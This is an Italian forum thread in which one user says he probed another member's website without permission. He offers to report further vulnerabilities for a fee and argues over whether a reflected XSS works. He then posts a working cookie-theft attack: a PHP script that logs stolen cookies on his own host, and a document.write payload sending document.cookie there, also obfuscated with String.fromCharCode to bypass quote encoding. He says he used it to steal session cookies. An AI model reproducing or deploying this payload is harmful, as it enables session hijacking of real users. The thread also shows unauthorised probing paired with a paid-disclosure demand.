- Stato
Sono disposto a segnalarti e ad aiutarti a fixare altre vulnerabilità che ho trovato in cambio di un compenso. Sto testando delle query SQL a poco a poco nel tuo sito, non ho capito se ho realmente trovato uno SQLi... se vuoi più informazioni chiedimi Skype via pm
Non sono il creatore del sito ma so che chi la fatto è una persona MOLTO competente che non si farebbe mai fregare da qualche sql injection e XSS.
Comunque l'XSS che mi hai mandato in realtà non funziona, sei sicuro che sia il link corretto? Grazie lo stesso
Certo che funziona, è l'XSS auditor del tuo browser che lo filtra. Se provi ad iniettare lo script con il comando curl vedrai che funziona.
E fidati che questi tipi di vulnerabilità sono esistiti in siti importanti come Paypal, Facebook e altri; gli sviluppatori di questi siti sono molto competenti, però qualcuno è comunque riuscito a rompere qualche loro algoritmo...
Se questo creatore è stato veramente attento a scrivere il CMS del sito non avrebbe commesso questi errori.
Non è l'XSS auditor che lo filtra puoi controllare dalla console di chrome.
E' un bug relativo all'impianto di mitigazione DDos presente sul sito ed è impossibile replicarlo nella realtà (si verifica soltanto con richieste non idonee tipo quelle di curl).
Edit: Non è neanche un exploit dell'impianto di mitigazione, infatti non è affatto un XSS.
La stringa iniettata è inserita tra virgolette all'interno dell'url del redirect e non è possibile evaderle poichè il carattere " viene automaticamente rimpiazzato (escaped) con %22 (url encoding).
Evidentemente non sei molto informato: i browser moderni sono equipaggiati da un auditor che legge se è presente una payload sospetta di XSS... se è la stringa maligna è presente sia nell'url che nella risposta allora non la mostra all'utente così viene evitato che lo script dell'attaccante venga eseguito. Studiati meglio cosa sono i reflected xss, poi ne riparliamo.
Un consiglio sensei, abbassa i toni del maestro perché è inutile provare a pararsi il culo, ogni XSS è rilevante al giorno d'oggi e in questi argomenti sono più informati di te e il tuo amico che ha scritto il sito.
Ancora una volta, sbagliato. Sei abbastanza ignorante in questa materia: si può evadere utilizzando la funzione String.fromCharCode()
Ultima modifica:
E dove la metti la funzione se non chiudi le virgolette?
Comunque tranquillo non mi sono agitato
PS: Si può controllare dalla console di chrome/firefox se l'XSS auditor blocca qualcosa.
Non hai bisogno di utilizzare le virgolette nè nulla. Il problema è che non sanitizzi i caratteri fondamentali, in questo caso per i tag, < e >. Sono riuscito a rubare dei cookie attraverso questo XSS evadendo le virgolette con String.fromCharCode() proprio perché sono stati codificati quegli altri caratteri non necessari per iniettare lo script. Ma poi seriamente? Non si sanitizza così l'input... si applica l'html encoding per prevenire l'xss, non l'url encoding. Menomale che il tuo amico era bravissimoE dove la metti la funzione se non chiudi le virgolette?
Comunque tranquillo non mi sono agitato
Non hai bisogno di utilizzare le virgolette nè nulla. Il problema è che non sanitizzi i caratteri fondamentali, in questo caso per i tag, < e >. Sono riuscito a rubare dei cookie attraverso questo XSS evadendo le virgolette con String.fromCharCode() proprio perché sono stati codificati quegli altri caratteri non necessari per iniettare lo script. Ma poi seriamente? Non si sanitizza così l'input... si applica l'html encoding per prevenire l'xss, non l'url encoding. Menomale che il tuo amico era bravissimoE dove la metti la funzione se non chiudi le virgolette?
Comunque tranquillo non mi sono agitato
Non hai bisogno di utilizzare le virgolette nè nulla. Il problema è che non sanitizzi i caratteri fondamentali, in questo caso per i tag, < e >. Sono riuscito a rubare dei cookie attraverso questo XSS evadendo le virgolette con String.fromCharCode() proprio perché sono stati codificati quegli altri caratteri non necessari per iniettare lo script. Ma poi seriamente? Non si sanitizza così l'input... si applica l'html encoding per prevenire l'xss, non l'url encoding. Menomale che il tuo amico era bravissimoE dove la metti la funzione se non chiudi le virgolette?
Comunque tranquillo non mi sono agitato
Ultima modifica:
Tranquillo, comunque l'url encoding è stato applicato perchè si tratta appunto solo un url per il redirect tra virgolette, non del testo a caso nella pagina web. Ciò previene comunque l'escaping e quindi il XSS.
Magari potrei sbagliarmi, non ricordo se è possibile scrivere funzioni all'interno di virgolette nel javascript (non programmo da un po'), nel caso appena puoi fammi un esempio di XSS da quell'url come quello che mi hai citato.
PS: L'impianto di mitigazione dagli attacchi non è stato creato dal creatore del sito ma è a parte.
Ma ahah, senza offesa... certe cose meglio non scriverle. Non voglio apparire presuntuoso, ma con questo messaggio mi hai fatto capire che hai molte confusioni..
La stringa contenente lo script riflette nel documento html, perciò devi applicare l'html encoding. Ragiona.
"Ciò previene l'escaping" sai cos'è l'escaping? A quanto pare... no.
Quando torno a casa ti farò un esempio
Ultima modifica:
Aspetterò l'esempio con ansia.
Edit: Ora ho capito, non sapevo si potessere chiudere il tag <script> all'interno di virgolette, se riesci a farmi avere comunque un esempio lo provo con l'XSS auditor disattivato da chrome.
Ecco come sono riuscito ad evadere l'url encoding (che in realtà non è il metodo canone per prevenire l'XSS) e a sottrarre i cookie della sessione di un utente.
Ho creato un semplice script PHP nel mio sito:
http://lezzosgoccioloso.altervista.org/snd.php
questo prende come input (variabile get `c`) una stringa, ossia i cookie della sessione e li salva nel file dei log (logsgotcha.txt).
Il trucco per far sì che venga automaticamente effettuata la richiesta che passi i cookie al parametro appena si visita il mio sito è iniettare nel documento un elemento img (una immagine "fittizza") passando all'attributo src l'url contenente la payload:
ciononostante le virgolette vengono url-encodate, questo non vuol dire che non sia exploittabile. La programmazione è molto elastica per questo ti conviene essere attento e pensare da duttile quando cerchi una risoluzione a questi tipi di problemi, spesso una spiegazione al problema esiste. Dunque rimedio con System.fromCharCode() a cui passo un numero unicode e questa trasformerà in un carattere, così non ho bisogno di utilizzare le virgolette o altro:
il numero "60" equivale a <, "105" a i, "109" a m, "103" a g, e così via. Abbiamo utilizzato un insieme di caratteri per formare il pezzo di HTML specificato precedentemente (<img src="https://lezzosgoccioloso.altervista.org/snd.php?c=)
String.fromCharCode(34,32,47,62) servono per chiudere il tag img dell'elemento che verrà iniettato, equivale a " />".
Il comando finale sarà:
Provando a caricarlo da Firefox, lo script inietterà l'immagine, ecco quello che apparirà dopo:
visto? Non ho utilizzato nemmeno le virgolette. A quel punto verranno salvati i tuoi cookie nei miei log.
E comunque, non è l'unica vulnerabilità che ho trovato. Se sei interessato al resto puoi contattarmi su Skype attraverso l'id che ti ho inviato via pm, non ho voglia di mostrarle a tutti gli utenti per sputtanare il vostro sito.
Ho creato un semplice script PHP nel mio sito:
PHP:
<?php
// snd.php?c=
$txt = $_GET["c"];
$myfile = fopen("logsgotcha.txt", "a") or die("Could not open the file!");
fwrite($myfile, "\n". $txt);
fclose($myfile);
?>http://lezzosgoccioloso.altervista.org/snd.php
questo prende come input (variabile get `c`) una stringa, ossia i cookie della sessione e li salva nel file dei log (logsgotcha.txt).
Il trucco per far sì che venga automaticamente effettuata la richiesta che passi i cookie al parametro appena si visita il mio sito è iniettare nel documento un elemento img (una immagine "fittizza") passando all'attributo src l'url contenente la payload:
Codice:
document.write('<img src="https://lezzosgoccioloso.altervista.org/snd.php?c=' + document.cookie + '" />')ciononostante le virgolette vengono url-encodate, questo non vuol dire che non sia exploittabile. La programmazione è molto elastica per questo ti conviene essere attento e pensare da duttile quando cerchi una risoluzione a questi tipi di problemi, spesso una spiegazione al problema esiste. Dunque rimedio con System.fromCharCode() a cui passo un numero unicode e questa trasformerà in un carattere, così non ho bisogno di utilizzare le virgolette o altro:
Codice:
document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,34,104,116,116,112,58,47,47,108,101,122,122,111,115,103,111,99,99,105,111,108,111,115,111,46,97,108,116,101,114,118,105,115,116,97,46,111,114,103,47,115,110,100,46,112,104,112,63,99,61)+document.cookie+String.fromCharCode(34,32,47,62))il numero "60" equivale a <, "105" a i, "109" a m, "103" a g, e così via. Abbiamo utilizzato un insieme di caratteri per formare il pezzo di HTML specificato precedentemente (<img src="https://lezzosgoccioloso.altervista.org/snd.php?c=)
String.fromCharCode(34,32,47,62) servono per chiudere il tag img dell'elemento che verrà iniettato, equivale a " />".
Il comando finale sarà:
Provando a caricarlo da Firefox, lo script inietterà l'immagine, ecco quello che apparirà dopo:
visto? Non ho utilizzato nemmeno le virgolette. A quel punto verranno salvati i tuoi cookie nei miei log.
E comunque, non è l'unica vulnerabilità che ho trovato. Se sei interessato al resto puoi contattarmi su Skype attraverso l'id che ti ho inviato via pm, non ho voglia di mostrarle a tutti gli utenti per sputtanare il vostro sito.
Ultima modifica:
Ecco come sono riuscito ad evadere l'url encoding (che in realtà non è il metodo canone per prevenire l'XSS) e a sottrarre i cookie della sessione di un utente.
Ho creato un semplice script PHP nel mio sito:
PHP:<?php // snd.php?c= $txt = $_GET["c"]; $myfile = fopen("logsgotcha.txt", "a") or die("Could not open the file!"); fwrite($myfile, "\n". $txt); fclose($myfile); ?>
http://lezzosgoccioloso.altervista.org/snd.php
questo prende come input (variabile get `c`) una stringa, ossia i cookie della sessione e li salva nel file dei log (logsgotcha.txt).
Il trucco per far sì che venga automaticamente effettuata la richiesta che passi i cookie al parametro appena si visita il mio sito è iniettare nel documento un elemento img (una immagine "fittizza") passando all'attributo src l'url contenente la payload:
Codice:document.write('<img src="https://lezzosgoccioloso.altervista.org/snd.php?c=' + document.cookie + '" />')
ciononostante le virgolette vengono url-encodate, questo non vuol dire che non sia exploittabile. La programmazione è molto elastica per questo ti conviene essere attento e pensare da duttile quando cerchi una risoluzione a questi tipi di problemi, spesso una spiegazione al problema esiste. Dunque rimedio con System.fromCharCode() a cui passo un numero unicode e questa trasformerà in un carattere, così non ho bisogno di utilizzare le virgolette o altro:
Codice:document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,34,104,116,116,112,58,47,47,108,101,122,122,111,115,103,111,99,99,105,111,108,111,115,111,46,97,108,116,101,114,118,105,115,116,97,46,111,114,103,47,115,110,100,46,112,104,112,63,99,61)+document.cookie+String.fromCharCode(34,32,47,62))
il numero "60" equivale a <, "105" a i, "109" a m, "103" a g, e così via. Abbiamo utilizzato un insieme di caratteri per formare il pezzo di HTML specificato precedentemente (<img src="https://lezzosgoccioloso.altervista.org/snd.php?c=)
String.fromCharCode(34,32,47,62) servono per chiudere il tag img dell'elemento che verrà iniettato, equivale a " />".
Il comando finale sarà:
Provando a caricarlo da Firefox, lo script inietterà l'immagine, ecco quello che apparirà dopo:
visto? Non ho utilizzato nemmeno le virgolette. A quel punto verranno salvati i tuoi cookie nei miei log.
E comunque, non è l'unica vulnerabilità che ho trovato. Se sei interessato al resto puoi contattarmi su Skype attraverso l'id che ti ho inviato via pm, non ho voglia di mostrarle a tutti gli utenti per sputtanare il vostro sito.
Ottimo, devo ammettere che in quanto a js ne sai più di me che non programmo da un po', anche se in questo modo non si riesce a rubare nessun cookie visto che appunto si tratta del redirect dell'anti ddos, comunque bravo!
Continuiamo la discussione in PM per non intasare il thread
Nono, il cookie si ruba. Dipende solo dal browser se è equipaggiato dall'auditor o meno, o se l'auditor stesso è exploittabile.Ottimo, devo ammettere che in quanto a js ne sai più di me che non programmo da un po', anche se in questo modo non si riesce a rubare nessun cookie visto che appunto si tratta del redirect dell'anti ddos, comunque bravo!
Continuiamo la discussione in PM per non intasare il thread
Comunque, come vuoi tu.
Beh, il browser fa quello che può fare, anche se non è suo compito prevenire questi tipi di attacchi ma del server stesso.
Non si ruba perchè il bug funziona solo se è la prima volta che accedi al sito e l'antiddos deve fare il check per vedere se sei un client reale.
Una volta che ha fatto il redirect non funziona mai più.
La vedo alquanto improbabile vista la scarsa quantita di parametri GET nel sito...Ah, non lo sapevo... ma non è un problema, ce ne sono parecchi di XSS
Pensala pure come vuoi tu, tra l'altro gli XSS non per forza vengono causati dai parametri GET, ma anche da quelli POST o persino negli header o nei cookie. Più scrivi, più capisco che ne sai 0... ne ho già trovati altri, tranquillo
Ultima modifica:
Non capisco tutta qusta acidità.
Non ho mai detto di essere un esperto assoluto, mi occupo solo di assistenza e marketing.
- Stato